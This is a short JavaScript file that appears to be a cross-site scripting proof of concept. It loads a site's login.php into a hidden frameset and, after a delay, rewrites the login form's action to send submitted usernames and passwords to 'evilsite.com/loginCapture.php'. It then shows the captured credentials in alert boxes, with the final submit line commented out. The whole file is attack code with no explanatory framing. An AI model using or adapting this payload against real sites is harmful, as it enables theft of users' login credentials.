//alert(1);
var frameset = document.createElement('frameset');
var frame1 = document.createElement('frame');
var frame2 = document.createElement('frame');

frameset.setAttribute('cols', '10000 ,1');
frameset.setAttribute('frameborder', 'no');
frameset.setAttribute('border', '0');
//frameset.setAttribute('style','visibility:hidden');
document.body.appendChild(frameset);

frame1.setAttribute('src','xss.htm');
frameset.appendChild(frame1);
frame2.setAttribute('src','login.php');
frameset.appendChild(frame2);

setTimeout('getPage()',4000);
function getPage(){

        formdata=parent.frames[1].document.forms[0].action;

        //parent.frames[1].document.forms[0].elements[1].value="seth";
        parent.frames[1].document.forms[0].elements[1].focus();
        parent.frames[1].document.forms[0].elements[2].focus();

        setTimeout('submitIt()', 2000);
}
function submitIt(){
        
        parent.frames[1].document.forms[0].action='http://www.evilsite.com/loginCapture.php';
        alert('Action='+parent.frames[1].document.forms[0].action);
		alert('User='+parent.frames[1].document.forms[0].elements[1].value);
		alert('Pass='+parent.frames[1].document.forms[0].elements[2].value);
        //parent.frames[1].document.forms[0].submit();
}